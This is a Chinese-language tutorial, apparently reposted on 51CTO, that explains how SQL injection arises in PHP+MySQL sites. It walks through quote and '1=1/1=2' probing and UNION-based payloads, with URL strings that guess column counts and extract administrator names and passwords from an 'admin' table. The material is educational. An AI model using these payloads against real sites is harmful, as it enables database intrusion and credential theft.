解析PHP+MYSQL注入的发生

安全 数据安全
本文主要解析了PHP+MYSQL注入的发生。

假设的目标网站 http://www.2cto.com /info.php?articleid=123(实际不可注入)

当articleid 变量取值为123 时,我们假设一下在服务器中会有怎样的代码运行?

1. SELECT * /* Select 函数读取信息*/

2. FROM infotable /* 从products 数据表中*/

3. WHERE id='123';/* false condition 满足条件时*/

/*XXXX*/是注释符号,当程序运行时,/**/和中间的部分计算机会自动忽略。

实际系统执行的代码是这样的:

1. select * from infotable where id = '123';

在这里,id 的取值是通过url 取值得来的“123”,那么如果我这样呢:

info.php?articleid=123'

后面多了一个单引号,那么比较一下系统原本执行的语句有什么变化:

1. select * from infotable where id = 123;

2. select * from infotable where id = 123';

***多了一个引号,语法错误。

注:计算机编程得不到想要的结果,错误分两种,一种是语法错误,一种是逻辑错误。后面认真阅读你会慢慢明白区别开的,这也就是为什么判断是否为注入点的***步要在网址后面加单引号的原因了(加单引号出错不能确定网址为注入点,只是判断的一个步骤而已),于是后面的1=1 和1=2 的目的也就清楚了。

1. select * from infotable where id = 123;

2. select * from infotable where id = 123 and 1 = 1;//事实上1 就是1,所以应该

返回正常页面

3. select * from infotable where id = 123 and 1 = 2;//事实上,计算机中1 永远也不等于2,发生逻辑错误,所以返回错误页面。手工注入通常会使用联合查询函数union 下面讲一下union 的用法。

union 注入的***步通常是猜字段数。假设注入点是新闻页面,那么页面中执行的SQL 语句就是:

1. select title,date,author,news,comm from news where id = 12;

当你进行union 注入的时候,union 前面的语句和union 后面的语句,都是一个完整的SQL

语句,是可以单独执行的语句

但是,必须保证前后的字段数相同,例如上面这个语句

1. select title,date,author,news,comm from news where id = 12;

2. select title,date,author,news,comm from news where id = 12 union select

name,password,3,4,5 from admin;

3. //news 是新闻表段,admin 是管理员信息表段

4. //管理员信息表段明显没有union 前面news 表段里面包含的字段数多所以使用数字3 到5 替代,数字无固定格式,可以使1 2 和3,也可以是111111 和4435435或者干脆用null 空来代替。

所以,上面的注入语句在实际中就是这么构造:

1. info.php?id=12+union+select+name,password,3,4,5+from+admin

2. //SQL 注入中,加号用来代表空格的意思,因为有些浏览器会自动将空格转换成%20,

如果union 前面是5 个,而union 后面不是5 个,则会发生逻辑错误,显示错误页面。

由于程序员编写的程序我们并不知道他在数据库中设置了几个字段,所以通常我们都是先进行字段数的猜测,也就是:

1. info.php?id=12+union+select+1

2. info.php?id=12+union+select+1,2

3. info.php?id=12+union+select+1,2,3

4. info.php?id=12+union+select+1,2,3,4

5. info.php?id=12+union+select+1,2,3,4,5

6. //你也可以用order by 来猜,用法可以自己搜一下

一直这样猜到正确页面出来,没有了逻辑错误,也就表示字段数一致了,然后……后面……

这里仅仅提供思路。

责任编辑:蓝雨泪 来源: 红黑联盟
相关推荐

2010-06-02 15:24:15

PHP+MySQL

2010-06-04 15:57:03

PHP+MYSQL

2011-05-23 09:51:30

MySQL

2010-09-14 16:00:16

2010-05-19 14:54:33

2010-05-28 15:24:52

PHP+MySQL

2012-06-14 13:20:44

MySQL网站架构

2011-08-01 10:12:40

PHP

2010-06-09 16:27:30

PHP+MySQL

2011-02-13 18:03:50

PHPMySQL

2013-12-09 09:57:37

2010-05-31 14:59:36

PHP + MySQL

2013-12-13 10:45:26

2017-08-16 16:00:05

PHPcontainer依赖注入

2009-10-14 09:57:51

pinyshop

2015-02-04 14:50:29

2009-12-03 18:23:23

2011-06-16 17:05:54

CSS

2010-11-26 15:38:32

MySQL注入

2014-11-10 11:49:01

QCMSQCMS漏洞安全漏洞
点赞
收藏

51CTO技术栈公众号